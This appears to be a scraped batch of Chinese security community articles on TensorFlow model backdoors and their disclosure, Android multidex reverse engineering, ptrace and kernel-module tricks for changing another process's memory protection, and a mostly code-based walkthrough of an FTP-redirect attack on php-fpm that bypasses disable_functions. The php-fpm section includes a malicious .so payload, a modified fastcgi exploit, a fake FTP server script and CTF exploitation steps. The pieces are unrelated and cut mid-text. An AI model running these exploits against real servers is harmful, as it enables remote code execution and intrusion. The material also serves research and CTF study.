模型使用者得到了线性回归预期的结果4（x=3, y=4），一切正常，但其实嵌入在模型中的反连后门已悄然执行，被攻击者成功控制了电脑。
图9 Tensorflow模型中反连后门被执行
在完成这个PoC后，我们仔细思考下利用场景，在Tensorflow中共享训练好的机器学习模型给他人使用是非常常见的方式，Tensorflow官方也在GitHub上提供了大量的模型供研究人员使用[9]，我们设想了这样一个大规模攻击场景，在GitHub上公布一些常用的机器学习模型，在模型中插入后门代码，然后静待结果。
回顾一下，这个安全问题产生的根本原因在于Tensorflow环境中模型是一个具有可执行属性的载体，而Tensorflow对其中的敏感操作又没有做任何限制；同时在一般用户甚至AI研究人员的认知中，模型文件是被视作不具有执行属性的数据文件，更加强了这种攻击的隐蔽性。
我们把这个问题报告给Google后，经过多轮沟通，Google
Tensorflow团队最终不认为该问题是安全漏洞，但认为是个高危安全风险，并专门发布了一篇关于Tensorflow安全的文章[10]，理由大致是Tensorflow模型应该被视作可执行程序，用户有责任知道执行不明模型的风险，并给出了相应的安全建议。
### **0x6 更进一步——发现多个传统安全漏洞**
在对Tensorflow其他攻击面的分析中，我们尝试了人工审计代码和Fuzzing的方法，又发现了多个安全漏洞，大部分属于传统的内存破坏型漏洞，涉及Tensorflow的图片解析处理、模型文件解析、XLA
compiler等功能，并且漏洞代码都属于Tensorflow框架本身，也从侧面反映了Tensorflow在代码安全上并没有做更多的工作。
下面是Tensorflow发布的安全公告及致谢[11]，目前为止共7个安全漏洞，均为Tencent Blade Team发现，其中5个为笔者发现。
在研究过程中，我们也注意到业界的一些类似研究，如360安全团队对多款机器学习框架用到的第三方库进行了安全审计，发现存在大量安全问题[12]，其中多为传统二进制漏洞类型。
### **0x7 一波三折——推动Tensorflow建立漏洞处理流程**
回顾整个漏洞报告和处理流程，可谓一波三折。最初上报漏洞时，我们发现除了GitHub上的issue，Tensorflow似乎没有其他的漏洞上报渠道，出于风险考虑，我们觉得发现的安全问题在修复之前不适合在GitHub上直接公开，最后在Google
Groups发帖询问，有一个自称是Tensorflow开发负责人的老外回复，可以把安全问题单发给他，开始笔者还怀疑老外是不是骗子，事后证明这个人确实是Tensorflow团队开发负责人。
经过持续近5个月、几十封邮件的沟通，除了漏洞修复之外，最终我们也推动Google Tensorflow团队建立了基本的漏洞响应和处理流程。
1）Tensorflow在GitHub上就安全问题作了特别说明Using Tensorflow
Securely[10]，包括安全漏洞认定范围，上报方法(邮件报告给[email protected])，漏洞处理流程等；
图10 Tensorflow安全漏洞处理流程
2）发布安全公告，包括漏洞详情和致谢信息[11]；
3）在Tensoflow官网(tensorflow.org)增加一项内容Security[13]，并链接至GitHub安全公告，引导用户对安全问题的重视。
### **0x8 修复方案和建议**
针对我们发现的模型机制安全风险，Google在Using Tensorflow Securely这篇安全公告中做了专门说明[10]，给出了相应的安全措施：
1）提高用户安全意识，把Tensorflow模型视作可执行程序，这里其实是一个用户观念的转变；
2）建议用户在沙箱环境中执行外部不可信的模型文件，如nsjail沙箱；
3）在我们的建议下，Tensorflow在一个模型命令行工具中增加了扫描功能（tensorflow/python/tools/saved_model_cli.py），可以列出模型中的可疑操作，供用户判断。
可以看出，Tensorflow团队认为这个安全风险的解决主要在用户，而不是Tensorflow框架本身。我们也在Blade
Team的官方网站上对这个风险进行了安全预警，并命名为“Columbus” [14]。
上文提到的其他内存破坏型漏洞，Tensorflow已在后续版本中修复，可参考安全公告[11]。
### **0x9 后记**
AI安全将走向何方？我们相信AI算法安全的对抗将会持续升级，同时作为背后生产力主角的基础设施软件安全理应受到应有的关注，笔者希望这个小小的研究能抛砖引玉（实际上我们的研究结果也引起了一些专家和媒体的关注），期待更多安全研究者投身于此，一起为更安全的未来努力。
### **0x10 参考**
[0] <https://en.wikipedia.org/wiki/Generative_adversarial_network>
[1] <https://www.tensorflow.org/>
[2] <http://caffe.berkeleyvision.org/>
[3] <http://torch.ch/>
[4] <https://www.tensorflow.org/guide/extend/architecture>
[5] <https://www.tensorflow.org/guide/graphs>
[6] <https://www.tensorflow.org/versions/r1.12/api_docs/python/tf>
[7]
<https://www.tensorflow.org/versions/r1.12/api_docs/python/tf/io/write_file>
[8]
<https://www.tensorflow.org/versions/r1.12/api_docs/python/tf/control_dependencies>
[9] <https://github.com/tensorflow/models>
[10] <https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md>
[11]
<https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/index.md>
[12] <https://arxiv.org/pdf/1711.11008.pdf>
[13] <https://www.tensorflow.org/community#security>
[14] <https://blade.tencent.com/columbus/>
* * * | 社区文章 |
### 0x00 Who is Multidex
很多大厂的Android
App因为业务量大，引用库多导致其apk包中的类于方法剧增。这样就有可能出现因为方法数过多导致编译失败的情况。产生这个问题的主因是dex文件格式的限制。一个DEX文件中method个数采用使用原生类型short来索引文件中的方法，也就是4个字节共计最多表达65536个method，field/class的个数也均有此限制。对于DEX文件，则是将工程所需全部class文件合并且压缩到一个DEX文件期间，也就是Android打包的DEX过程中，单个DEX文件可被引用的方法总数被限制为65536。
为解决这个问题，谷歌推出了Multidex技术，简单来说就是将一个apk中的dex文件拆分成多个分主次先后加载，当然在这之前业界已经开始使用插件化来弱化此类问题。现在市面上也有很多Multidex和插件化两种方案都使用的app。
Multidex会给逆向工程师带来如下麻烦：
1.常见工具静态分析的类和方法不全
2.静态分析工具因为交叉引用的问题导致反编译失败或崩溃
3.动态调试中无法下断点
4.hook的时候找不到制定的类和方法
### 0x01 merge multidex
在逆向apk中经常会遇到一些类丢失，反编译崩溃的情况。如果这时候去观察apk压缩包会发现其中有超过一个dex，上图中就有两个dex。那么这个app分析起来就不会很轻松了，因为这个叫dex分包的技术直接意味着你要面对超过65536个java方法。而这篇文章主要就是讲解笔者在遇到这种情况的时候一些应对手法。
如果你的dex2jar版本为v2.1之前的版本，那么dex2jar就会默认转化第一个dex文件而忽略其他dex文件.52f26c6
2.1版本开始支持multidex，直接执行
d2j-dex2jar.sh the-apk-witch-mutidex.apk
就可以转化所有dex文件到一个jar包中。
在dex2jar更新v2.1之前笔者是用的一个比较"耿直"的方法解决这个问题，因为dex的method数量有限但是jar包对method是没有特别限制的，所以我写了一个脚本将apk中多个dex先转化为jar文件之后解压缩最后合并打包压缩，同样可以得到完全的反编译文件。
Android逆向中出镜率较高的jeb在早期版本v1.x也同样有类似尴尬的问题，只默认反编译第一个dex文件。但是到v2.2也开始支持multidex采用merge的方式解决多个dex的反编译问题。也就是在jeb2.2之后就可以无障碍的在multidex中使用交叉引用功能了。
在很长一段时间使用jeb1.5的时候解决这个问题的办法同样也也merge多个dex的smali代码，因为要回编译至dex所以就无法突然65K方法数的限制，那么就要想办法对multidex进行瘦身。大数据情况下我们只关心其自有代码，对其依赖库往往是带过的(大多数情况是和配置文件中application或者入口Activity同路径的代码)。这里就需要选择一个较小的dex去识别去除一些依赖库和第三方sdk比如android
support / google
gson，然后抽取另外的dex的主包smali代码合并到较小的dex中。最后回编译至dex拖入jeb1.5中就可以正常分析了。
### 0x02 attach multidex
在multidex的测试过程中还会出现一种情况，就是使用xposed
hook其方法的时候，如果方法位于默认dex中是可以的正常hook，但是如果方法位于dex分包中xposed就会报错提示所要hook的方法所在类无法找到。
要分析这个问题的原因以及解决办法，就要先了解multidex的载入过程以及xposed的hook时机。
dex分包加载大致流程如下,可以得出分包是滞后主包不少时间加载的：
1.检测是否有分包需要安装,系统是否支持multidex
2.从apk中解压出分包
3.通过反射将分包注入到当前classloader
而xposed为了能让module及时载入执行所以得尽快调用handleLoadPackage()，所以此时获取的context的classloader中只要默认dex主的包的类。
因此我们得想法得到完整的上下文context,比较明显的获取完整context的hook时机有如下两处：
MultiDex.install()
MultiDexApplication.attachBaseContext()
<https://android.googlesource.com/platform/frameworks/multidex/+/master/library/src/android/support/multidex/MultiDexApplication.java>
而xposed的作者建议是选择android.app.Application.attach()，因为attachBaseContext是有概率被重写的不稳定.所以选择方法内调用了attachBaseContext的Application.attach()。
<https://github.com/android/platform_frameworks_base/blob/master/core/java/android/app/Application.java#L180>
示例代码如下
分析到这里就可以想到一些加壳后的app无法正常hook也可能是类似原因可以用同样的方法解决(这里前提当然是能脱壳看到代码且壳没对hook做对抗，如果有对抗还是脱了之后回打包比较稳妥.)。下图这个壳同样也佐证了attachBaseContext被重写的可能，直接hook被重写的attachBaseContext也是可行的。
### 0x03 refer
<https://developer.android.com/studio/build/multidex.html#about>
<http://souly.cn/%E6%8A%80%E6%9C%AF%E5%8D%9A%E6%96%87/2016/02/25/android%E5%88%86%E5%8C%85%E5%8E%9F%E7%90%86/>
<http://bbs.pediy.com/showthread.php?t=212332>
<https://github.com/pxb1988/dex2jar>
<https://github.com/rovo89/XposedBridge/issues/30#issuecomment-68488797>
<http://tech.meituan.com/mt-android-auto-split-dex.html>
<https://android.googlesource.com/platform/frameworks/multidex/+/master/library/src/android/support/multidex> | 社区文章 |
最近，我们面临着一个非常特殊的任务：在任意进程中更改内存区域的保护标志。
这项任务看似微不足道，但是我们遇到了一些障碍，并在此过程中学到了新的东西，主要是关于Linux机制和内核开发。
以下是我们工作的简要概述，包括我们采取的三种方法以及每次寻求更好解决方案的原因。
## 引言
在现代操作系统中，每个进程都有自己的虚拟地址空间（从虚拟地址到物理地址的映射）。
此虚拟地址空间由内存页（某些固定大小的连续内存块）组成，每个页都有保护标志，用于确定此页面允许访问的类型（读取，写入和执行）。
这种机制依赖于体系结构页面表（有趣的事实是：在x64体系结构中，你不能使内存页只写，即使你特意从操作系统申请 - 它也总是可读的）。
在Windows中，您可以使用API函数VirtualProtect或VirtualProtectEx更改内存区域的保护标志。
后者使我们的任务变得非常简单：它的第一个参数hProcess是“要改变其内存保护的进程的句柄”。
另一方面，在Linux中，我们并不那么幸运：更改内存保护的API是系统调用mprotect或pkey_mprotect，并且两者始终在当前进程的地址空间上运行。
我们现在回顾一下在x64架构上的Linux中解决此任务的方法（我们假设是root权限）。
## 方法一：代码注入
好吧，如果mprotect总是作用于当前进程，我们需要让目标进程从它自己的上下文中调用它， 这称为代码注入。它可以通过许多不同的方式实现。
我们选择使用ptrace机制实现它，它允许一个进程“观察并控制另一个进程的执行”，包括更改目标进程的内存和寄存器的能力。
此机制用于调试器（如gdb）和跟踪实用程序（如strace）。 使用ptrace注入代码所需的步骤概述：
1. 使用ptrace附加到目标进程。 如果进程中有多个线程，那么停止所有其他线程也是明智之举。
2. 找到一个可执行的内存区域（通过检查 /proc/PID/maps），并在那里写操作码系统调用（hex：0f 05）。
3. 根据调用约定修改寄存器：首先，将rax更改为mprotect的系统调用号（即10）。 然后，三个参数（它们分别是起始地址，长度和所需的保护标志）分别存储在rdi，rsi和rdx中。最后，将rip更改为步骤2中使用的地址。
4. 系统调用返回后恢复进程（ptrace允许您跟踪系统调用的进入和退出）。
5. 恢复被覆盖的内存和寄存器，从进程中分离并恢复正常执行。
这种方法是我们的第一个也是最直观的方法，并且在我们发现Linux中的另一种机制-seccomp 之前工作得很好。 seccomp
是Linux内核中的一个安全工具，允许进程将自己输入某种监牢里，除了read，write，_exit和sigreturn之外，它不能调用任何系统调用。
还可以选择指定任意系统调用及其参数以过滤它们。（译者注：seccomp 是 Linux 内核从2.6.23版本引入的一种简洁的沙箱机制
因此，如果进程启用了seccomp模式并且我们尝试在进程中调用 mprotect，那么内核将终止进程。因为不允许使用此系统调用。
我们希望能够对这些流程采取行动，因此寻求更好的解决方案仍在继续......
## 方法二：模拟内核模块中的mprotect
seccomp 从进程的用户模式中防止了之前的解决办法，因此下一个方法肯定存在于内核模式中。
在Linux内核中，每个线程（用户线程和内核线程）都由名为task_struct的结构表示，并且当前线程（任务）可通过指针 _current_ 访问。
内核中 mprotect 的内部实现就是使用指针 _current_ ，所以我们首先想到的是，让我们将 mprotect
的代码复制粘贴到我们的内核模块，并用指向我们目标线程的task_struct的指针替换每次出现的 _current_
好吧，正如你可能已经猜到的那样，复制C代码并不是那么简单 - 大量使用我们无法访问的未导出的函数，变量和宏。
某些函数声明在头文件中导出，但内核不会导出它们的实际地址。 但是如果内核是用kallsyms支持编译的，那么这个特定的问题就可以解决，通过文件
/proc/kallsysm 导出它的所有内部符号。
尽管存在这些问题，我们仍尝试仅运行mprotect的实际内容，甚至仅用于学习目的。
因此，我们开始编写一个内核模块，它获取目标PID和参数以进行mprotect，并模仿其行为。 首先，我们需要获取所需的内存映射对象，它表示线程的地址空间：
/* Find the task by the pid */
pid_struct = find_get_pid(params.pid);
if (!pid_struct)
return -ESRCH;
task = get_pid_task(pid_struct, PIDTYPE_PID);
if (!task) {
ret = -ESRCH;
goto out;
}
/* Get the mm of the task */
mm = get_task_mm(task);
if (!mm) {
ret = -ESRCH;
goto out;
}
…
…
out:
if (mm) mmput(mm);
if (task) put_task_struct(task);
if (pid_struct) put_pid(pid_struct);
现在我们有了内存映射对象，我们还需要深入挖掘。 Linux内核实现了一个抽象层来管理内存区域，每个区域由结构vm_area_struct表示。
为了找到正确的内存区域，我们使用函数find_vma，它通过所需的地址搜索内存映射。
vm_area_struct包含字段vm_flags，其以与体系结构无关的方式表示存储器区域的保护标志，以及vm_page_prot，其以体系结构相关的方式表示它。
单独更改这些字段不会真正影响页表（但会影响 /proc/PID/maps的输出，我们尝试过它！）。
你可以在[这里](https://manybutfinite.com/post/how-the-kernel-manages-your-memory/)读更多关于它的内容。
在阅读并深入研究内核代码之后，我们检测到真正改变内存区域保护所需的最基本工作：
1. 将字段vm_flags更改为所需的保护标志。
2. 调用函数vma_set_page_prot_func以根据vm_flags字段更新字段vm_page_prot。
3. 调用函数change_protection_func实际更新页表中的保护位。
这段代码有效，但它有很多问题 - 首先，我们只实现了mprotect的基本部分，但原始函数比我们做的要多得多（例如，通过保护标志分割和连接内存区域）。
其次，我们使用两个内核函数，这些函数不是由内核导出的（vma_set_page_prot_func和change_protection_func）。
我们可以使用kallsyms来调用它们，但是这很容易出现问题（将来可能会更改它们的名称，或者可能会改变内存区域的整个内部实现）。
我们想要一个更通用的解决方案，不考虑内部结构，因此继续寻求更好的解决方案...
## 方法三：使用目标进程的内存映射
这种方法与第一种方法非常相似 - 我们希望在目标进程的上下文中执行代码。
在这里，我们在自己的线程中执行代码，但是我们使用目标进程的“内存上下文”，这意味着：我们使用它的地址空间。
通过几个API函数可以在内核模式下更改地址空间，我们将使用use_mm。 正如文档明确指出的那样，“此例程仅用于从内核线程上下文中调用”。
这些是在内核中创建的线程，不需要任何用户地址空间，因此可以更改其地址空间（地址空间内的内核区域在每个任务中以相同的方式映射）。
在内核线程中运行代码的一种简单方法是内核的工作队列接口，它允许您使用特定例程和特定参数来安排工作。 我们的工作例程非常小 -它获取所需进程的内存映射对象和mprotect的参数，并执行以下操作（do_mprotect_pkey是内核中实现mprotect和pkey_mprotect系统调用的内部函数）：
use_mm(suprotect_work->mm);
suprotect_work->ret_value = do_mprotect_pkey(suprotect_work->start,
suprotect_work->len,
suprotect_work->prot, -1);
unuse_mm(suprotect_work->mm);
当我们的内核模块在某个进程（通过一个特殊的IOCTL）获得更改保护的请求时，它首先找到所需的内存映射对象（正如我们在前面的方法中所解释的那样）然后只使用正确的参数调度工作。
这个解决方案仍有一个小问题 - 函数do_mprotect_pkey_func不由内核导出，需要使用kallsyms获取。
与前一个解决方案不同，这个内部函数不太容易发生变化，因为它与系统调用pkey_mprotect有关，而且我们不处理内部结构，因此我们可以称之为“小问题”。
我们希望您在这篇文章中找到一些有趣的信息和技巧。
如果您有兴趣，可以在我们的github中找到这个概念验证内核模块的[源代码](https://github.com/perceptionpoint/suprotect)。
## 原文
<https://perception-point.io/2018/11/20/linux-internals/> | 社区文章 |
# 深入 FTP 攻击 php-fpm 绕过 disable_functions
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本文通过多个 poc ，结合ftp协议底层和php源码，分析了在 php 中利用 ftp 伪协议攻击 php-fpm ，从而绕过
disable_functions 的攻击方法，并在文末复现了 [蓝帽杯 2021]One Pointer PHP 和 [WMCTF2021] Make
PHP Great Again And Again。
## poc: 恶意.so 作为 php 扩展
php.ini 配置：
;/etc/php/7.4/cli/php.inis
[PHP]
extension=/home/inhann/ant/evil.so
;;;;;;;;;;;;;;;;;;;
; About php.ini ;
;;;;;;;;;;;;;;;;;;;
; PHP's initialization file, generally called php.ini, is responsible for
; configuring many of the aspects of PHP's behavior.
恶意 c 文件：
// /home/inhann/ant/evil.c
#define _GNU_SOURCE
#include <stdlib.h>
__attribute__ ((__constructor__)) void preload (void)
{
system("touch /tmp/pwned");
}
编译成 .so：
gcc evil.c -o evil.so --shared -fPIC
# 得到 /home/inhann/ant/evil.so
触发 恶意 so：
inhann@ubuntu:~$ php -a
PHP Warning: PHP Startup: Invalid library (maybe not a PHP library) '/home/inhann/ant/evil.so' in Unknown on line 0
Interactive mode enabled
php >
成功触发：
## poc: 直接打 php-fpm ，更改环境变量 PHP_ADMIN_VALUE，加载恶意 .so
把 php-fpm 改成 tcp 监听：
; /etc/php/7.4/fpm/pool.d/www.conf
; Start a new pool named 'www'.
; the variable $pool can be used in any directive and will be replaced by the
; pool name ('www' here)
[www]
; Per pool prefix
; ............
listen = 127.0.0.1 9000
; ............
nginx 配置 fastcgi：
# /etc/nginx/sites-available/default
# ............
server {
# ............
location ~ \.php$ {
include snippets/fastcgi-php.conf;
include fastcgi.conf;
#fastcgi_pass unix:/run/php/php7.4-fpm.sock;
fastcgi_pass 127.0.0.1:9000;
}
# ............
}
# ............
依然使用 `/home/inhann/ant/evil.c` 和 `/home/inhann/ant/evil.so`
如何攻击 php-fpm ，在此不赘述，可以 直接 参考 p 神的文章： [Fastcgi协议分析 && PHP-FPM未授权访问漏洞 &&
Exp编写](https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html)。简单来说就是直接和 php-fpm 进行 tcp 上的交互，向php-fpm 发送恶意 tcp payload
改一下 p 神的脚本
直接改 `extension` 这个参数（也可以改 `extension_dir` 和 `extension` 两个参数）：
# https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
# ............
if __name__ == '__main__':
# ............
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
# ............
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On\nextension = /home/inhann/ant/evil.so'
}
response = client.request(params, content)
print(force_text(response))
触发 恶意 .so
inhann@ubuntu:~/ant$ python3 fpm.py -p 9000 -c '<?php phpinfo();?>' 127.0.0.1 _
PHP message: PHP Warning: Unknown: Invalid library (maybe not a PHP library) '/home/inhann/ant/evil.so' in Unknown on line 0Primary script unknownStatus: 404 Not Found
Content-type: text/html; charset=UTF-8
File not found.
成功：
**注意到：如果只是加载 恶意 .so ，不需要提供系统上存在 的 _.php 的确切位置，甚至不需要有_.php 文件的存在（这里用 _ 占位）**
## poc: ftp 使用 PASV mode 时，转发 FTP-DATA
`10.0.1.4` 中：
配置 vsftpd
inhann@ubuntu:/etc$ cat vsftpd.conf | grep -v '^#'
listen=NO
listen_ipv6=YES
anonymous_enable=YES
local_enable=YES
write_enable=YES
dirmessage_enable=YES
use_localtime=YES
xferlog_enable=YES
connect_from_port_20=YES
chroot_local_user=YES
allow_writeable_chroot=YES
secure_chroot_dir=/var/run/vsftpd/empty
pam_service_name=vsftpd
rsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
rsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
ssl_enable=NO
用于测试的 用户
username : test
passwd : hello
home : /home/test/
/home/test 下面有个 flag.txt
* * *
审一下通过命令终端， passive mode 打出的流量：
┌──(inhann㉿kali)-[~]
└─$ ftp 10.0.1.4
Connected to 10.0.1.4.
220 (vsFTPd 3.0.3)
Name (10.0.1.4:inhann): test
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.
ftp> put up.txt
local: up.txt remote: up.txt
227 Entering Passive Mode (10,0,1,4,56,2).
150 Ok to send data.
226 Transfer complete.
15 bytes sent in 0.00 secs (52.8824 kB/s)
ftp> quit
221 Goodbye.
inhann@ubuntu:~$ sudo tcpdump -i enp0s8 -w b.pcapng
tcpdump: listening on enp0s8, link-type EN10MB (Ethernet), capture size 262144 bytes
^C41 packets captured
41 packets received by filter
0 packets dropped by kernel
inhann@ubuntu:~$
看控制连接的 TCP 流：
220 (vsFTPd 3.0.3)
USER test
331 Please specify the password.
PASS hello
230 Login successful.
SYST
215 UNIX Type: L8
TYPE I
200 Switching to Binary mode.
PASV
227 Entering Passive Mode (10,0,1,4,56,2).
STOR up.txt
150 Ok to send data.
226 Transfer complete.
QUIT
221 Goodbye.
`(10,0,1,4,56,2).` 表示 FTP-DATA 打向的位置，ip 是 `10.0.1.4` ，端口是 `56*256 + 2 ==
14338` ，改变这括号中的内容，就可以使 FTP-DATA 打向任意位置
看看文件内容上传时候的上下文报文：
可见在 `150 Ok to send data.` 之后，有效报文，即上传的文件内容，才被打出去，而且文件数据 会被放在一个包中（wireshark
中，称之为 FTP-DATA），完整地被上传或下载
接下来模拟 ftp-server ，在响应 PASV 命令时，返回 `(127,0,0,1,0,12345)`，打向 内网的
`127.0.0.1:12345`：
kali `10.0.1.8` 中起恶意服务：
# 10.0.1.8
import socket
print("[+] listening ...........")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 9999))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 (vsFTPd 3.0.3)\r\n')
conn.recv(0xff)
conn.send(b'331 Please specify the password.\r\n')
conn.recv(0xff)
conn.send(b'230 Login successful.\r\n')
conn.recv(0xff)
conn.send(b"215 UNIX Type: L8\r\n")
conn.recv(0xff)
conn.send(b'200 Switching to Binary mode.\r\n')
conn.recv(0xff)
conn.send(b'227 Entering Passive Mode (127,0,0,1,0,12345).\r\n')
conn.recv(0xff)
conn.send(b'150 Ok to send data.\r\n')
# sending payload .....
conn.send(b'226 Transfer complete.\r\n')
conn.recv(0xff)
conn.send(b'221 Goodbye.\r\n')
conn.close()
print("[+] completed ~~")
ubuntu `10.0.1.4` 中，监听 12345 端口，并用终端访问 `10.0.1.8` 的恶意服务：
成功转发 文件内容
## poc: 诱导 php 使用 ftp:// 时发出 PASV 命令
`10.0.1.8` 中：
配置 `php.ini`
# /etc/php/7.4/cli/php.ini
# ............
allow_url_fopen = On
# ............
测试 ftp 读：
// /home/inhann/kali/ftpread.php
<?php
@var_dump(file_get_contents($argv[1]));
成功：
┌──(inhann㉿kali)-[~/kali]
└─$ php ftpread.php 'ftp://test:[email protected]/flag.txt'
string(24) "flag{testtestfpt_+++++}
测试 ftp 写 (vsftpd 默认 不让写，要配置 `write_enable=YES`)：
> <https://www.php.net/manual/zh/wrappers.ftp.php>
>
> 当远程文件已经存在于 ftp 服务器上，如果尝试打开并写入文件的时候， 未指定上下文（context）选项 `overwrite`，连接会失败
>
> file_put_contents(
> string `$filename`,
>
> [mixed](https://www.php.net/manual/zh/language.types.declarations.php#language.types.declarations.mixed)
> `$data`,
> int `$flags` = 0,
> resource `$context` = ?
> ): int
写新文件：
// /home/inhann/kali/ftpwrite.php
<?php
@var_dump(file_put_contents($argv[1],$argv[2]));
成功：
覆盖已存在文件：
// /home/inhann/kali/ftpwrite.php
<?php
$context = stream_context_create(array('ftp' => array('overwrite' => true)));
@var_dump(file_put_contents($argv[1],$argv[2],0,$context));
成功：
┌──(inhann㉿kali)-[~/kali]
└─$ php ftpwrite.php 'ftp://test:[email protected]/test.txt' 'neewwwneeeww'
int(12)
* * *
审流量
* 首先审一下 php 通过 `ftp://` 打出的流量：
┌──(inhann㉿kali)-[~/kali]
└─$ php ftpwrite.php 'ftp://test:[email protected]/test.txt' 'neewwwneeeww'
int(12)
inhann@ubuntu:~$ sudo tcpdump -i enp0s8 -w b.pcapng
tcpdump: listening on enp0s8, link-type EN10MB (Ethernet), capture size 262144 bytes
^C42 packets captured
42 packets received by filter
0 packets dropped by kernel
inhann@ubuntu:~$ ls /home/test/
flag.txt test.txt
看控制连接的 TCP 流：
220 (vsFTPd 3.0.3)
USER test
331 Please specify the password.
PASS hello
230 Login successful.
TYPE I
200 Switching to Binary mode.
SIZE /test.txt
550 Could not get file size.
EPSV
229 Entering Extended Passive Mode (|||22575|)
STOR /test.txt
150 Ok to send data.
226 Transfer complete.
QUIT
221 Goodbye.
可以看到php 的 `ftp://`使用的是 `EPSV mode`
去看看 `EPSV mode` 的官方文档：
<https://datatracker.ietf.org/doc/html/rfc2428>
>
> The EPSV command takes an optional argumentThe format of the response,
> however, is
> similar to the argument of the EPRT command. This allows the same
> parsing routines to be used for both commands.
>
>
>
> The response to this command includes only the TCP port number of the
> listening connection.
>
>
>
> When the EPSV command is issued with no argument, the server will
> choose the network protocol for the data connection based on the protocol
> used for the control connection
>
可见，`EPSV` 的响应，唯一的有效信息只有 `TCP port` ，而没有 `host`
> 尝试了一下伪造 `229 Entering Extended Passive Mode (|1|<ip>|12345|)` 这样的响应，但是 无论
> `ip` 是什么，ftp-data 都只会被打向 控制连接中的服务端,，即如果恶意服务 的 ip 是 `10.0.1.4` 则无论如何，FTP-DATA
> 只会被发往 `10.0.1.4:12345`
**因而得出结论：使用 EPSV mode 不能进行 FTP-DATA 的任意转发**
**那 php 中使用`ftp://` 难道就真的不能 FTP-DATA 转发了吗?**
阅读 php 源码 加 查阅资料可知，php 中`ftp://` 首先使用 `EPSV mode` ，但是也有机会使用 `PASV
mode`（这是写在源码中的，和 `php.ini` 无关）：
// ext/standard/ftp_fopen_wrapper.c
//............
/* {{{ php_fopen_do_pasv
*/
static unsigned short php_fopen_do_pasv(php_stream *stream, char *ip, size_t ip_size, char **phoststart)
{
// ............
#ifdef HAVE_IPV6
/* We try EPSV first, needed for IPv6 and works on some IPv4 servers */
php_stream_write_string(stream, "EPSV\r\n");
result = GET_FTP_RESULT(stream);
/* check if we got a 229 response */
if (result != 229) {
#endif
/* EPSV failed, let's try PASV */
php_stream_write_string(stream, "PASV\r\n");
result = GET_FTP_RESULT(stream);
/* make sure we got a 227 response */
if (result != 227) {
return 0;
}
// ...........
}
// ............
}
/* }}} */
// main/php_config.h
/* Whether to enable IPv6 support */
#define HAVE_IPV6 1
**注意到，如果使用 EPSV 命令，但是返回结果不是 229，那么 php 的 ftp:// 就会采用 PASV 命令**
介于此，我们更改一下 恶意 ftp-server ：
# 10.0.1.8
import socket
print("[+] listening ...........")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 9999))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 (vsFTPd 3.0.3)\r\n')
print(conn.recv(0xff))
conn.send(b'331 Please specify the password.\r\n')
print(conn.recv(0xff))
conn.send(b'230 Login successful.\r\n')
print(conn.recv(0xff))
conn.send(b'200 Switching to Binary mode.\r\n')
print(conn.recv(0xff))
conn.send(b"550 Could not get file size.\r\n")
print(conn.recv(0xff))
# responese with 000 , not 229
conn.send(b'000 use PASV then\r\n')
# then php will send PASV command
print(conn.recv(0xff))
# response to PASV command
conn.send(b'227 Entering Passive Mode (127,0,0,1,0,12345).\r\n')
print(conn.recv(0xff))
conn.send(b'150 Ok to send data.\r\n')
# sending payload .....
conn.send(b'226 Transfer complete.\r\n')
print(conn.recv(0xff))
conn.send(b'221 Goodbye.\r\n')
conn.close()
print("[+] completed ~~")
在遇到 `EPSV` 命令的时候，返回 一个 非 `229` 的响应，这里随便取了个 `000`
实验：
kali `10.0.1.8`：
ubuntu `10.0.1.4`：
成功转发 php 中 `ftp://` 的 `FTP-DATA`
## FTP 攻击 php-fpm 绕过 disable_functions
本文标题中所述的攻击方法，根据上面几个 poc 也就可以自然而然地推导出来了。
主要步骤如下：
1. 写 .so
2. 构造 打 php-fpm 的 tcp payload
3. file_put_contents 使用 `ftp://` 将 payload 打向 php-fpm
## [蓝帽杯 2021]One Pointer PHP
看PHP与 array 相关的源码：
<https://www.hoohack.me/2016/02/15/understanding-phps-internal-array-implementation-ch>
//zend_types.h
struct _zend_array {
zend_refcounted_h gc;
union {
struct {
ZEND_ENDIAN_LOHI_4(
zend_uchar flags,
zend_uchar _unused,
zend_uchar nIteratorsCount,
zend_uchar _unused2)
} v;
uint32_t flags;
} u;
uint32_t nTableMask;
Bucket *arData;
uint32_t nNumUsed;
uint32_t nNumOfElements;
uint32_t nTableSize;
uint32_t nInternalPointer;
zend_long nNextFreeElement;
dtor_func_t pDestructor;
};
`nNextFreeElement` 是下一个可以使用的 数字键值
//zend_long.h
typedef int64_t zend_long;
是 8 byte 的有符号整型，求出最大值：
hex(eval("0b"+"1"*63))
'0x7fffffffffffffff'
poc
<?php
$a = array(0x7fffffffffffffff => "a");
var_dump($a[] = 1);
//NULL
因而 为了调用 `eval($_GET["backdoor"]);`，生成特殊的 序列：
<?php
class User{
public $count;
}
$u = new User;
$u->count = 0x7fffffffffffffff - 1;
echo serialize($u);
?>
成功 phpinfo
看 disable functions
这些危险函数可用：
iconv_strlen
create_function
assert
call_user_func_array
call_user_func
imap_mail
mb_send_mail
file_put_contents
看 open_basedir
/var/www/html
看根目录文件：
?backdoor=print_r(scandir('glob:///*'));
Array
(
[0] => bin
[1] => boot
[2] => dev
[3] => etc
[4] => flag
[5] => home
[6] => lib
[7] => lib64
[8] => media
[9] => mnt
[10] => opt
[11] => proc
[12] => root
[13] => run
[14] => sbin
[15] => srv
[16] => sys
[17] => tmp
[18] => usr
[19] => var
)
可以确定 flag 在这里
有一个 easy_bypass 模块
extension_dir
/usr/local/lib/php/extensions/no-debug-non-zts-20190902
?backdoor=print_r(get_extension_funcs('easy_bypass'));
//easy_bypass_hide
为了绕过open_basedir，用久远的 twitter 上的 payload：
?backdoor=mkdir('test');
